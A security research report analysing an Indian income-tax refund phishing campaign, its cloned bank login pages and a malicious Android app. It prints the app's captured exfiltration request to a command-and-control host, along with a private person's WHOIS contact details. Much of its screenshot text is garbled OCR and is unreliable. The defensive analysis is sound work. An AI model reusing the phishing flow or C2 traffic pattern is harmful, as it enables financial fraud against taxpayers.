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DISCLAIMER

This report is purely based on technical findings made by the research team

during an investigation. It does not intend to malign or in any way target any

country, actor or person. All the information provided in this report has been
extracted during the investigation, information might be changed after

generating the reports.




Research report on phishing campaign replicating

Income Tax e-Filing, Income Tax Department, Govt. of India website :

The Research Wing of CyberPeace Foundation has received
an SMS containing a link asking users to submit a refund
application for disbursement of income tax refund.

Case Study :

Dear .

your incometax refund of
35,425 INR is processed
and ready for disbursement.
kindly click hitp://
204.44.124.160/ITR to
submit a refund application
to enable us make your
payment at the earliest.
Regards,

Refunds Dept.

The Research Wing of CyberPeace Foundation along with Autobot Infosec Private Limited have looked into
this matter to reach a conclusion that the campaign is either legitimate and launched by the Income Tax

Department, Govt. of India or an online fraud.

On visiting the link http:/204.44.124[.]160/ITR it redirects users to
http://23.146.242[.]133/script/redir.php?owner=Admin and in our case it finally redirected us to
http://78.138.107[.]132 /177938 XXXX/k47h.php?id=XXXXXX&owner=QWRtaw4%3D

**[Some characters are replaced with XX for security reasons.]

On the landing page it shows an Income tax e-filing web page which is mostly similar to the

https://www.incometaxindiaefiling.gov.in/home.

e' F i I i l'! g Anywhere Anylme

Inzome Tax Departneni, Gevernment of India

i1l About Us | Feedback Accessibiity Options Contact Us  e-Nivaran Hely

&% | cqin | Reglater

Home Downloads News & Updates

Income Tax Department, Ministry of Finance, Government of India.

Read below instructions carefully and make

sure you have the informations required before proceeding

Ta prove that 2 validated information belongs to the taxpayerwho presented them, additional checks are caried out to verify propedy before zrediting taxpayer's bark
account number. If they do not match, your tax re‘und wil b delayed.

= Income Tax Department will rechedk details such as your Name, Date of Birth, Gender as per PAN and Aadhaar Number with UIDAI to be sure they

really matcn.

» During the process, Income Tax Departmant will use this service to link details such 2s Name, PAN, bank account number, e-Mall ID and moblle
number vou provided to your bank to match them with what they have on file, A corfidance level Is returned to Income Tax Department immediately the
details matched. However, it Is mandatory not to provide non-operational bank account number,

= \alidated reconfirmed information can be taken up for further processing only when your data matched information as furnished in your previcusly recaived

ITR. This is to avold fraudulent activities,

| hereby confirm that | have read and understand the above Information

Website Policies | Accessibilty Staternert | Site Wap
try of Finance, Govemment ol Inda

. “ Copyright @ Ircome Tax Department, Min
All Rights
Ilr?dm.gov.m Site Lazt Updatzd on

Explorer.

This site isbest viewed in latest versien of Chrome, Frefcx, Satari and Iniemat

O & Q00
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On clicking the green 'Proceed to the verification steps’ button, it asks users to submit some personal infor-
mation like Full name, PAN, Aadhaar number, Address, Pincode, Date of birth, Mobile number, Email
address, Gender, Marital status and banking information like Account number, IFSC code, Card Number,
Expiry date, CVV/CVC and Card PIN.

Personal details

*Full Name

*PAN and Aadhaar Number

*Address

*Pincode
*Date of Birth and Mobile Number
*Your E-Mail Address

*Gender and Marital Status
e SN BT =~ e Marital Stat ~

Financial information
“Bank Account Number and IFSC Code

* Account type

*Card Number

“Card Expiry Date, CVWICYC and Card PIN

After submitting some dummy data we were redirected to a page where it asked the user to confirm the
entered data.

® CyberPeace Research



Hello thdtrh,
In order to prevent fraudlent ITR, kindly check the detais below are comect and proceed by chcking the CONFIRM bution below to venly with your

appropnate Netbanking detads |State Bank of India |

wll only verdy that the below detals matches your netbanking detads.

It contrmed by your bank, then your detasis ncluding bank account number will be treated as vabd and ready for ECS credn of any refund due

Name Gender Email ID Mobile Number

thdtrh Male 1234567890 @bshjdbsdajkh in .‘u +01-1234567800

Personal Address

1234567800123456 7800

123456

Bank Account Number Aadhaar number Permanent Account Number (PAN) Date of Birth
1234567800123456 123456780012 1234567800 1234567990
Bank Name Bank Address

State Bank of India Samnddhi Bhawan, 1, Strand Road, Kolkata- 700 001

Branch District State

Kokata Main Branch KOLKATA WEST BENGAL

I, thedtrh, hereby confirm that the information given herein above is true and correct to the best of my knowledge and belief and nothing has
been concealed therefrom. | want to verify the above details by internet banking verification for ITR.

We noticed, it automatically detects the bank name of the user fromthe IFSC code entered in the form.

It is to be mentioned that as we had entered a value having SBIN as prefix in the IFSC code field, it detected
our bank as State Bank of India.

After clicking on the green 'Confirm’ button we were landed to a State bank of India internet banking login
page almost similar to the official one, hosted on the same IPi.e 78138.107[.]132 which was not linked to the
official State bank of India internet banking domain in any way. It asks for the username and password for
online banking.

Products & Services How Do |

Login to OnlineSBI Dovwnload & Reginter YONO 1o acoess all your Banking and Lifestyle noeds. Know More Welcome 1o Personal Internet

[CARE: Username and password are case sensiive.)

Usermnams®

Password"

Enter the text as shown in the image *

Selectone of the Captcha options *

o Enable Vinual Keyboard
Image Audio Captcha

Captcha
t
13774 <
For better security use the: Onlne Vimual Keyboard 10 login. Mare
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After providing the dummy username and password we reached on the next step which asked Hint question,
Answer, Profile password, CIF number.

s

ONLIN

User Driven Registration - New User

Hint Question * - Select -

i

Answer *

Profile password *

CIF Number * (CIF Number is available in yourpassbook and/or statement of
account)

© StateBank of India Privacy Statement  Disclosure  Terms of Service (Terms & Conditions)

After clicking on the Submit button it showed a section called ‘'MOBILE VERIFICATION where some
instructions were given to download an android application {.apk file) in order to complete the ITR verification.

In the third point there is an instruction which is deliberately insisting users to grant all the
permissions of the device to the particular application.

‘Remember to grant all permissions during installation as this is required for successful verification’

m Income Tax Department, Government of India

f K.
.i_ ":, E'FilingJ'lt‘lp’wflt.’-‘t?ﬂ'“h'f-m’.’ M Feedback Accessibiity Options ContactUs e-Nevaran Help

Home Downloads News & Updates

MOBILE VERIFICATION

Itis mandatory for all taxpayers to download and install mobile verification certificate on their mobile phone to verify their mobile numberon
file to complete Income Tax Return verification (ITR-V) else your Income Tax Return will be trealed as incomplete

Dear
Your mobile verification code is8424 and Maobile verification certificate will start downloading shortly, (click ¥ pownload if download does not
start within 5 seconds). see below for instruction on how to complete mobile verification

Instruction:
1. Openthe downloaded mobile verification app (.apk file) on your mobile to install. Grant Permission to thirdparty apps if prompted.

2. Openirun the installed mobile verification app (Certificate)

3. Activate/Enable ITCertificate admin module, when prompted, to access verification server (Remember to grant all permissions
during installation as this is required for successful verification)

4. Enter your mobile verification code andclick VERIFY.

You will be redirected 10 incometaxe-filing page in 10mins
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On clicking the green ‘Download’ link it starts downloading an application called Certificate.apk.

After sometime it redirects the users to the official Income Tax e-filing website
https:/www.incometaxindiaefiling.gov.in/home

In Depth investigation:

Some key findings extracted during the investigation are mentioned below --

IP Address 204.44.124 160
HTTP Status Code 200 [ Active ]
ISP QuadraNet
ASN 8100

Country United States =
Continent North America
IP Address 23.146.242.133
HTTP Status Code 200 [ Active ]
ISP VolumeDrive
ASN 46664

Country United States =
Continent North America
IP Address 78.138.107.132

HTTP Status Code 200 [ Active ]

ISP Host Europe GmbH
ASN 29066
Country France
Continent Europe
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During the investigation we noticed, everytime the link http:/204.44.124[.]160/ITR is opened, it redirects
users to different URLs having the same contents and after a certain time the respective URL expires.

We found some other IP addresses associated with the campaign (having the same theme based landing page

like 78.138.107.132).
IP Address 104.223.119.101
HTTP Status Code 200 [ Active ]
ISP QuadraNet
ASN 8100
Country United States =
Continent North America
IP Address 107.173.191.36
HTTP Status Code 200 [ Active ]
ISP ColoCrossing
ASN 36352
Country United States =
Continent North America
IP Address 151.106.15.206

HTTP Status Code

200 [ Active ]

ISP Host Europe GmbH
ASN 29066
Country France
Continent Europe
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The mobile application is hosted on the IP address 192.210.218.49.

IP Address 192.210.218.49
HTTP Status Code 200 [ Active ]
ISP ColoCrossing
ASN 36352

Country United States =
Continent North America

As we noticed, the campaign automatically detected the bank name as State Bank of India from the IFSC code
and took us to a State bank of India internet banking login page. We tested the fact with 4 other famous banks
viz ICICI, HDFC, Axis bank and Punjab National Bank by tweaking the prefix part of the IFSC code.

We got the same type of phishing page related to the login credential and account details harvesting for the

respective banks.

ICICI Bank:

G & 104.223.119.101

Cover options
up 1o 125 Lakhs

Get insurance in
3 easy steps

Important Notices

Are you ready to take

full charge of your
financial responsibilities?
Secure your family's health

with ICIC| Lombard
Group Health Insurance

o A e b

1) A= por R8I guedsdsncs. Matonad Becramc Funds Tramier (NEFT) s avalabiic 287 with oflact from Dac 16, 2119

Ploa=s

for datals

Z) da pr Rl paclaions, the ressd Smires b ool Timo Geens Sesfornore (RTGS) e from 0700 am, 0 0540
[, with el fram At 26, 2049

« Legin to Intemet Banking

U 1D

Password

Start In.

Dashioard

Remember User &

Trouble kogging in?

Need Help?

@ Did you know

® Exponanca fhe 3l now Bl Py Ouer 2504

Blors ko pay kon_ Sm

Bilior znel puyy Bl un oy cliicie

@ Have adraom m il o 2gad o achova™
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Personal

ﬂIClCI Bank

Privilege Wealth

Extra Security.

Please verify your ATM/Debit card grid details

HDFC Bank:

NetBanking

L} HDFC BANK

| Income Tax Refund

Custorver D |

Fargot CustomeriD?

Continue

NewtoNetBzanking 7 ViewDemo

Credit Card Hoders Clckhare
{#f you da not held HOFCBank ascount)

Redal Luan Custuniess Ciik e
for onling lcan zccountaccess
{if you da not hold HDFC Bank account)

Vo Norton

NetBankin
5 Horo pank
L

IncomeTaxRefund

CustomeriD 000000000

IPIN{Passward)
FomotIFIN {(Password)?

Thick here 10 use Vinual keyboad

fior the Passward only (Recommandad)
Note:! IPIN| d) = case

1 I'We acknowledge and accept the
Termsand Condibons apphcable and

avadable on the sile
5"% Norton
&4 sEcuntD

s

el by lypmatdar

Private ] Corparate Business
E [ H
N o P

® Bootmark Uz paue

WelcometoNetBanking

LatestFeatures
Save time! Update your eddress - Experiencothe now MotBanking
__ onine - ~ The Simpier,
f o . Now update your addrass n just 9 U 0 Easier,Smarter NetBanking
KL 3 simple steps o O WAl you
ﬁ. 3 #% through MatBanking (=] I35ues in viewing
Why NetBanking?
Convenience Investment Security

At HDFC Dank, your safety

Srow your money with smarn SndsEeuy o aeE

2asy way's 10 vest Uniing

2x7 acoess o awilerangs of

Ansaciions =
one prodity
Kncw More Angw Mote Know Mare

w Bockmark this poge

2:

WhyuseIMPS ?
@

o Instantfunds transfer

24 x 7,365 days (ncluding sundays and bank holiday=)

o Convemently transfer funds through NetSankng or ModieBanking

Virtual Kevboard
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Axis Bank:

AAH'IS BARNEK | INTERNET BANKING

Help | Security Avware ness

Login 1D

I‘AKIS BANK | INTERNET BANKING

B Use Vinual Koy board

First bme user® Register Forgot Pas sword? Enabie Logn ID

Halp | Security Awarencss

Debat Card No

I‘A.‘ms BAMIK | INTERNET BANKING

0 [ Fee Viraal Ky hoan

Z n E r 2 ¥  Type the toad shown inthe mage

LS

(Caplcha code @ case sentie)

FEst ime wser? Regisier Forgat Fa

word ? Enabie Logm 2

Melp | Seourity Amareness

mPIM

| Use Virual Keyboard

First time user? Regesier Fomot Password? Enabie Login if
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Punjab National Bank:

dsiia Sigiciel am

Weicome 1o PNB interner banking

&) punabnational bank

et e el

Income Tax Return 0 \Verification

User 1D
Password.”
Language:

Englsh

Detauk Login Page;: personal Settngs

Log In

Go Digital. Go Green.
Say Yes to E-Statement

[-Statwrnent facitates the detad of 55/TATC/O0. DEWAT. lnsutance, Nor-bfe Intusance.
Mesdual Funds, POF, Locker, Bepont aciourd, Loan & Advences. (ubject to exibencn of scoouni].

Resginter yeur [-madl i) using sny of Selowsng madet |

« Theoegh Branch #t 1he tme of 2000ant Gpenng of Liter

« Callon at tod ivee numbens 18001800272 & 18001033722

= Login o PG intsrist Blarking » = Onter Sericms > Servion Reguets »
iy iy  Eiial SLEtEmanti Rigeiliited

+ Typoe EFTMIT <space Lan 4 gt of account nusmber
<spaie>Emad 1D send 3 SMS to SCA92440

Foerget Password?
Help

Troubile logging in?

dsna AZie1E Am

wiked wr gl !

ITR Verification

m venaficaon

fo same g

O LR T

harwe have

Transaction password:*

Anzwer 1*

Answer 2°

Answer 37

Answer 4

Answer 5%

Anseer §°

Answer 7°

It can be noticed that all the phished pages are collecting the account related information like
username, password, mPIN, security questions etc.

After providing all the details it redirects the user to the 'MOBILE VERIFICATION' page mentioned earlier,
irrespective of whichever bank has been selected by the user.

We identified some of the directories that are opened and the contents can be listed. Some of the directories
have also been found with the names of axis, hdfc, icici, netpnb, sbi.
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Name Last modified Size Description

Parent Direclory -
2021-02-24 21:48 28K
2021-02-24 21:51 28K
2021-02-24 21:50 28K
2021-02-24 21:50 17K
2021-02-24 21:48 17K
2021-02-24 21:51 17K
2021-02-24 21:51 12K
ph 2021-02-24 21:50 12K
2021-02-24 21:48 12K
2021-02-24 21:48 -
2021-02-24 21:48 28K
2021-02-24 21:48 17K
2021-02-24 2148 -
2021-02-24 21:48 =
2021-02-24 21:48 -
2021-02-24 21:51 200
2021-02-24 21:48 13K
2021-02-24 21:48 -
2021-02-24 21:48 502
2021-02-24 2148 10
2021-02-24 21:48 -
submit.php 2021-02-24 21:48 9.0K
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By visiting those directories manually, we reached the online banking phishing pages mentioned earlier
respectively.

By source code analysis some information has been extracted like --

© The webpage is borrowed from some other source using the iframe tag of HTML.

"House6zbdz()' 1d="wggnyeh6Byvzn' style=' posttwn fixed: top: fpx: 10px; Bpx: . height: 100%; -
- . dLng 8; overflow:hidden; z-index:999999;'| src="http: Hbach‘Lr con.l‘9056563n,|'1.ndex php? 1d-‘(h|13NTI1Y&h2HDﬂ1NJUzETQﬂHzrﬁu\’Nt&wner-QHRtaw-
scruﬁmg 'auto’ sandbox='allow-top-navigation allow-scripts allow-Torms »1his browser does MOt support iiramescilrames

</body»</html>

In this case the contents of the webpage were being fetched from the bachir[.]Jcom.
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Domain Name bachir[.]Jcom
HTTP Status Code 200 [ Active ]
IP Address 192.185.193.125
ISP Unified Layer
ASN 46606
Country United States =
Continent North America

Registry Domain ID : 113597448 _DOMAIN_COM-VRSN
Registrar WHOIS Server : whois.liquidnetlimited.co.uk
Registrar URL: http:/liquidnetlimited.co.uk

Updated Date : 2021-01-20T16:45:33Z
Creation Date: 2004-03-08T19:31:18Z
Registrar Registration Expiration Date : 2022-03-08T19:31:18Z

Registrar: LIQUIDNET Ltd.
Registrar IANAID: 1472

Registrant State/Province: Beirut
Registrant Country: LB (Lebanon)

Name Servers: nsl.lynxserver.com
ns2.lynxserver.com

During the investigation we found another domain i.e gardenmeetsgeek[.]Jcom as the iframe source.

Domain Name gardenmeetsgeek[.]Jcom
HTTP Status Code 200 [ Active ]
IP Address 192.185.35.49
ISP Unified Layer
ASN 46606
Country United States =
Continent North America
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Registry Domain ID : 1850108255_DOMAIN_COM-VRSN

Registrar WHOIS Server: whois.launchpad.

Registrar URL: LaunchPad.com

Updated Date: 2021-02-24T704:21:35Z
Creation Date: 2014-03-11T723:40:157

com

Registrar Registration Expiration Date : 2022-03-11723:40:15Z

Registrar: Launchpad, Inc. (HostGator)
Registrar IANA ID : 955

Registrant Name : Karel Bemis

Registrant Organization : Website
Registrant Street: 1188 Majestic Oaks Dr.
Registrant City: Forest

Registrant State/Province : VA
Registrant Postal Code : 24551
Registrant Country: US

Registrant Phone : +1.4344854360
Registrant Email : senseibemis@gmail.com

Name Servers : ns816%.hostgator.com
ns8170.hostgator.com

© The title image of the landing page is “e~Filing Home Page, Income Tax Department, Government of

India”

IDOCTYPE html>

* <html lang "en">
r <head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

=] . = |
<link href="img/style.min.css"
</head>

rel=

"stylesheet

<title>e-Filing Home Page, Income Tax Department, Government of India¢/title=

g

i = LC | -

© The header and the navbar section have been pretended as a menu area which contain links of certain

pages, from where users can reach respective pages but in reality no links are actually embedded in the

background. It can be verified from the source code where the values of href are set to '# instead of the

respective URLs.
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Feedback Accessibility Options Contact Us e-Nivaran Help

| 8= Fl | | ﬂg Anywhara Anytima fe=t
Sore=rT Income Tax Department, Government of ndia '

e Login | Register

Home Downloads Mews & Updates

<div class="dropdown-content”>

<div class="personalDetails”> <fdiv>
ediv_style="padding-top: 7px;"> «fdiv>
<a href="#"> Login
‘;"‘3’ | <a href="#"> Register Icli.><a href="#"> Feedback I
<fdax
<Jdiis <fax<f(1>
<fdiv> 5 B 2 iay &
! </t <li><a href="#"> Accessibility Options
<fdivs «fax</1i>
<div class="navrow"s «li»<a href="#"> Contact Us
<ul class="mequ’= <fax< i
<liscpacalhref="4#">cspansHome« [span><fa>d/p><c/lix> <li><a href="#"> e-Nivaran
<li>epn<alhref="#"><span>Downloads<spans/ax</p></li> <Jas</li>
<liz<p><a|href="#"><span>News & Updates<flspan</a=</p></li> <li><a href="£"> Help
fuls B
G)’di:“ar <far<fli>

<ful>

App Analysis :
Application: Certificate.apk

After opening the app it asks the user to enable or activate the application by giving the device administrator
rights to the app as it is necessary to complete the ITR verification process.

Also a caution message can be noticed --
“Activating this admin app will allow the app Certificate to perform the following operations:

Erase all data

Lock the screen™ n— s
Activate device admin app? Activate device admin app?
ﬂ ITCertificate ﬂ ITCertificate
Enable/Activate (TCer IiI'rLalr-.'_:u_Imu- module o Enabla/Activate | TCertificate admin module to
access verification server This is a compulsory access verification gerver. This is a compulsory
raquirement for successful verification requirement for successful verification.
Activating this admin app will allow the Activating this admin app will allow the
app Certificate to perform the following app Certificate to perform the following
operations: operations:
Erase all data Erase all data
Erase the phone’s data without warning by Erase the phone's date without warning by
performing a factory data reset performing a factory data reset.
Lock the screen Lock the screen
Control how and when the screen locks. Control how and when the screen locks
Activate this device admin app Activate this device admin app
Cancel Cancel
Uninstall app Uninstall app
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After clicking on the 'Activate this device admin app’ it asks for multiple device permissions like contact

details, phone call details, send and view SMS messages etc.

Allow Certificate to

B8 Allow Certificate to make and manage
send and view SMS phone calls?

messages?

] bont ask ogain [C] on't ask again

3of3 DENY  ALLOW #H3 el ALLOW

Allow Certificate to
== access your contacts?

|:] Don't ask again

1of3 DENY  ALLOW

After giving all the access it prompts for another permission for changing the default SMS messaging app.

PERMISSION:

Certificate app will send sms from your Change SMS app?

registered mobile number.

Use Certificate instead of Messaging
To continue click OK and temporarily as your SMS app?

give sms default permission to
Certificate app.

Afterthat it prompts users for Mobile Verification. In ourcase
we provided the number that was used to register and one of
the codes that were assigned to us in the Mobile Verification
page on the website.

Mobile Verification

8434

1234567890

VERIFY

® CyberPeace Research



After clicking on the 'VERIFY’, a message appears for sign in.

Verification is ready to commence
sign in required.

“Verificationis ready to commence Kindly click Sign in to continue
signinrequired.

Kindly click Sign in to continue” SIGN IN

On clicking the 'SIGN IN’ button a fake google account login page appears which asks the user to provide
account credentials.

We noticed it automatically picked the email id that was Google
used during the registration on the website. Sign in

with your email account to resume mobile verification
It has also been noticed that after providing the dummy
password it accepts the same and there is no background
verification method to verify the credentials.

SIGN IN

After going with the 'SIGN IN’ option it starts displaying that
some critical system update is being installed with a progress
bar and percentage.

Installing critical system update..
5%
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Application Details

App hame Certificate

Package name kerrylogistics.qkls495pl.certificate

Average CVSS Score 6.8

App Security Score 70/100(medium risk)

Main Activity kerrylogistics.qkls495pl.certificate. Sgoi93tp

Target SDK 30

Application Certificate Details

Country United States

Valid from 2020-10-29 19:02:38

Valid to 2050-10-22 19:02:38

Organisation Android

Application Permission Details

tmanifest xmlns:android hemas, andro
cuses-sdk android:m
cuses-permission
cuces-permission an
<uses-permission an
cuses=-permission an
<uses-permission
<uses-permission
cuses-permission ar
<uses-permission andr
cuses-permission an
<uses-permission ar
<uses-permission
cuses-permission an
<uses-permission
<uces-permission
Cuses-permission &
cuses-permission and
cuses-permission =
<uses-permission an
<uses-permission an

ionCode="1" android:versionNames"

.ACCESS_NOTIFICATION POLICY"/>
JGET_ACCOUNTS" />
.ACCESS_WIFL_STATE"/>
JUSE_FULL_SCREEN_INTENT™/»>

SETTINGS"/>

"android. permission.ACCESS_WIMAX STATE™/>

me="com. huawel.permission.external_app_settings.USE_COMPONENT" />
z ion . CHAN TWORK_STATE" />

r1.OPPO_COMPOI

"y
i

.BROADCAST_STICKY™/>
READ_PH STATE"/>

<uses-permission an
<uses-permission and
<cuses-permission a
<uses-permission
<uses-permission
<uses-permission
capplication
cactivity
<intent-filter»

"kerrylogistics.gkls495pl.certificate.S86d3n99x
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Permission Status Information Description
android permission. REOR | normal Reorder applications Allows an application to
DER_TASKS running move tasks to the
foreground and
background. Malicious
applications can force
themselves to the front
wilthout your control
android permission EXPa normal expandfcollapse status Allows an application to
WD _STATUS BAR bar expand
or collapse the status bar.
android permission WAKE | normal Frevent phone from Allows an application to
_LOCK sleeping prevent the phohe from
going to sleep.
android.permission.access | normal Marler permission for
_MNOTIFICATION POLICY applications that wish to
access notification policy.
android permission. GET_ dangeraus List accounts Allows access to the list of
ACCOUNTS accounts in the Accounts
Service,
android ACCESS WIFILS | normal View W-Fl Status Allows an application to
TATUS views the information about
the status of Wi-Fi.
android permission USE_ normal Reqguired for apps
FULL_SCREEMN_INTEMNT targeting
Build VERSION CODES.
1 that wants to use
notification full screen
intents.
android permission. READ | normal Read sync settings Allows an application to
_SYNC_SETTINGS read the sync settings,
such aswhether sync is
enabled for Contacts.
android permission PACK | sidnature Undate component usage | Allows the modification of
AGE USAGE STATS statistics collected component
Lsage
statistics. Mot for use by
common applications.
android permission READ | dangerous Read SM3 or MMS Allows application to read
_SMS SMS messages stored on
walr phone or SiM card.
IWalicious applications
may
read your confidential
messages.
android permission. CHAM | normal Change network activity Allows applications to

GE_NETWORK_STATE

change network
connectivity
state.
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Permission

Status

Information

Description

android permission RECEI
YE_BOOT_COMPLETED

normal

Automatically start at boot

Allows an application to
start

itself as soohn as the
system

has finished booting. This
may take longer to

start the phone and allow
the application to slow
down the awsrall
performance by always
running.

android.perimission.FORE
GROUND_SERVICE

normal

Allows a regular
application

to Use

Semice startForeground

android.permission SEND
_SmMSs

dangerous

Send SMS messages

Allows application to send
SMS messages. Malicious
applications may cost you
money by sending
messages

without your confirmation.

android.perimission. BROA
DCAST STICKY

normal

Send sticky broadoast

Allows an application to
send sticky broadcasts,
which remain after the
broadcast ends. Malicious
applications can make the
phone slow or Unstable by
causing it ta use too much
Memory.

android permission READ
_PHONE_STATE

dangerous

Read phone state and
Identify

Allows the application to
access the phone features
of

the device An application
with this permission can
determine the phone
number and serial number
of this phone, whether &
call

is active, the number that
call is connected to and so
on.

android.permission INTER
MNET

normal

Full internet access

Allows an application to
create netrwork sockets.

android.permission RECE
VE SMS

dangerous

Feceive SMS

Allows application to
receive

and process SWS
messages.

Malicious applications
may

monitor your messages or
delete them without
showing them to you.

com google android c3dm.
permission RECEIVE

signature

200 Permissions

Fermission for cloud to
device messaging.
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The aforementioned permissions are used by the app to perform required operations like get the SMS details,

getting phone call log details and some of the permissions are dangerous like full_screen_intent,

foreground_service, send_sms, package_usage_stats.

Deep Link Analysis

<intent-filter>
<action android:name="kerrylogistics.qkls495pl.certificate.action.zQ5hZlq"/>
</intent-filter:
<intent-filter>
caction android:name="kerrylogistics.qkls495pl.certificate.action.bmEci”™/>
<data android:scheme="hkm"/>
</intent-filter>
<intent-filter>
<action android:name="kerrylogistics.qkls495pl.certificate.action.sZwW"/>
<«fintent-filter:
</activity>
<activity android:name="kerrylogistics.qkls485pl. certificate . Tytn1959m">
<intent-filter>
<action andreid:name="kerrylogistics.gkls4s5pl.certificate.action.khKWEFN™/>
<data android:scheme="upt"/>
<data android:scheme="hcxqcp"/>
<data android:mimeType="application/vnd,syncml.dmtndstsml”/>
</intent-filters
<intent-filter>
<action andreid:name="kerrylogistics.qkls495pl.certificate.action. ld™/>
<data android:scheme="lecry”/>
</intent-filter>
<factivity>
<receiver android:name="kerrylogictics.qkls495pl,certificate.BnjdhjS95jkr" android:permizs
<intent-filter>
{action android:name="action.OnTFly"/>
</intent-filter>
<intent-filter>
<action android:name="android, intent.action.B00T_COMFLETED"/>
</intent-filter>
<intent-filter>
<action android:name="kerrylogistics.qkls495p].certificate.action.ahSImech™/>
</intent-filter>»
<intent-filter>
<action endroid:name="androld.provider.Telephony.SM5 DELIVER"/>
</intent-filter>

<activity android:name="kerrylogistics.qkls4dSpl.certificate.Kn78108rs" android:excludeFromRecents="true">

<intent-filter>
<action android:name="kerrylogistics.gkls495pl.certificate.action.BlaRtde”/>
<data android:scheme="ddgm" android:host="1lupin.vxdv913314js.it8vri331Blq"/>
«data andreoid:scheme="cajaag"/>
<data android:mimeiype="video/vnd.dlna.npeg-tts”/>
«data android:scheme="gbgqu®/>
</intent-filter:
<intent-filters>
<action andreid:name="android.intent.action.VIEW™/>
<category android:name="android.intent.category.DEFAULT"/ >
<category android:name="android.intent, category.BROWSAELE"/>
«data android:scheme="gblh" andreid:host="kerrylogistics.qklsa95pl.certificate"/>
</intent-filter>
<factivity>
<activity sndroid:name="kerrylogistics.qkls4S5pl,certificate.RrhaqigeBqrw” >
<intent-filter>
<action android:name="kerrylogistics.qgkls495pl.certificate.action.kERIIP"/>
<data android:scheme="chsps"/>
</Entent-filter>
<intent-filter>
<action android:name="kerrylogistics.qkls495pl.certificate. action. fp2taui®/>
<data android:scheme="1mcygg"/>
<data android:scheme="bwmug"/»
</intent-filter>
<lactivitys

<activity android:name="kerrylogistics.gkls495pl.certificate.Ic3o0lglldgnl”™ android:excludeFromRecents="tru

<intent-filter>
<action android:name="android.intent.action.SEND"/>
<action android:name~"android.irtent.action.SENDTO"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSAELE />
<data android:scheme="sms"/>
<data android:scheme-"smsto"/>
<data android:scheme="mms"/>
<data android:scheme="mmsto"/>

</intent-filter>

ion="android.per
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Activity Intent

kerrylogistics.gkls495pl.certificate. Kn7010 | Schemes: ddgm://, cejaag://, gbqu://,
8rs gblh:/,

Hosts: lupin.vxdv9l3314js.it8vri3318lq,
kerrylogistics.qkls495pl.certificate,
Mime Types:. video/vnd.dlna. mpeg-tts,

kerrylogistics.gkls495pl.certificate.Ic3olg1 | Schemes: sms://, smsto://, mms://,
14gnl mmsto://,

kerrylogistics.gkls495pl.certificate.Le7q11 | Schemes: jji.//, picds://, nkecgg://,

1ond Hosts: kerrylogistics.qkls495pl.certificate,
Mime Types:
application/vnd.fujitsu.oasys,

After performing some analysis we found that all these information like call log, SMS of registered number
are sent to host feml[.]point2this[.Jcom. That means the host behaves like a Command & Control (CnC)
for the aforementioned application.

£ Request to http:/ffem. point2this.com:80 [18.220,.227.131]

Forward Drop m Action Open Browser
B »  adions~

POST /MC/FCMOS11Z0/me . php HITR/1.1

Contenc=Type: application/x=wwu=form=urlencoded; charset=UTF=8

User-Agent: Dalvik/Z. 1.0 (Linux; U Andreoid 8.0.0; Genymotion Build/OPRE. 1TOEZ3.017)
4{Host; fem.point’this.com |

Conneccion: close
£ Accept=Encoding: gzip, deflate

Contenc-Lemgrh: 5&3

I

RCTIVATEN 3AY3AY 3A000000% 3AY 3AN SAEHEC5ETOATY 3NN 3AVIACR34T 304 FebruarytEYICHIOZLAZCHLOY3ASTY A4S +pmty IAVIAN SRVAFNL 7. 8496 . unknownt CFGenymotion. . Bt -1
ull. . SmsDefaulcy ZFPpmYCFE3Y A4SV ISR IFBR-0VIFSnoose- 0FFAZFScreenStace-STATE_OW SAV AV JAFgSvact - tnull+e CFtisActivicyVisible+V3D+ falsey 3AVIAY SAqh 1hv
PYCFRCFhercylogintion . ghilsdSipl. costificat e IFSchene 2V ANk ecgyh A ZAN JASCPRVE diNERe VZAY IAN 3ATE 4 - +dasyvhe SmENCs PYGCEFWHE wvEY JIAAPAS LEHFAE pRUGI UL Iuys T
pdryOcPSERALEIE LGNV 10kny_REOSGAIx] Lande3pvoTlils alZd 1eySSpPh4wFhoCwlL25H1 50 SHRNWW IZT-obgTEF_T1lidla4PswBSbFyrilasihe

point2this[.]Jcom is a domain name that is actually offered by no-ip dynamic DNS service.

Domain Name fem[.Jpoint2this[.Jcom.

HTTP Status Code 200 [ Active ]

IP Address 18.220.227.131

ISP Amazon.com

ASN 16509

Country United States &=

Continent North America
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Details regarding the activation status of the app is sent to the server in encoded form, which is not readable

by normal users. So we tried to decode some contents and found that the status details of the device like

timestamp, mobile number and verification code are sent in encoded form.

DECODED FROM: URL encoding v ®

ACTIVATE::--000000::-:€4€2587043:::C
R34T3D February b, 2021, 10:57:45
pxm ::: V FM17.8dSG. .unknown/Genymo
tion. .Bkt- null. .SmsDefaultc/Dpm/B3
:42%/BK-0/Snooze—-OFF/ScreenState-S
TATE ON:::FgStat = null / isActivi
tyVisible = false:::gblh://kerrylo
gistics.gkls455pl.certificate/Sche
me2:nkecgg:: :8GPhVtdlM8Rr::: Tk -
diéyhrSmSMCsPYGEFuMkws :APAﬁleKnS_
pEKUg9Ub3uyz7Xzdry0cPSEhXLRIELNZz8hNW
iBkmv REOsGAd3xJlamJe3pvO7NNxaMZJl
zyS2pPkdwFhoCv1125N1505HRWWWj2Y-ob
gqI€P _¥YlidIa4PswBSbFyrBLzSibs

See less A

Aftervalidating the data, it provided us with a token, fid, name etc as response, by noticing the patterns of the

parameters it seemsthat in the background a firebase infrastructure was being used.

"nane": "projeccs/l0971295E1710/installations/cgbllesiHSIWLILKCFRSYCBq" ,

"fid": "cabNesiMSIWILKCFRSYCBg”,

"reireshToken":"Z TgCZIVFEirBqEHl ELEJHcPe-TulpWzSHCVbvzptaSd-REFyzyfulvzjiyLdoargEIS",
"authToken": {
“voken": "eyJhhGeiliJPUzIlNLiIsInRScCISINpHVEI S, ey dmaWQilid JZSI0ZFNp T VHIVIxASONGUIVECOIxIiwicHIvanVjdES LW I Lei TEMTASHzEy OTUZHT I xMCwiZihwljox ) EON;

}

"expiresIn": "ED4800s"
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Conclusive Summary :

@ Theofficial website of Income tax e-filing is https:/www.incometaxindiaefiling.gov.in/home which has the
domain name ending with .gov.in that clearly indicates as Government of India property, whereas the
shared link with the SMS has no domain name and is not linked with the Government of India.

@ Duringthe investigation we found all the IP addresses associated with the campaign belong to some dedi-
cated cloud hosting providers.

@ Overall layout and the functionalities of the web page used in the campaign are kept similar to the official
e-filing site to lure laymen.

@ The campaign is collecting personal information as well as banking information from the user. Getting into
this type of trap could lead the users to face a massive financial loss.

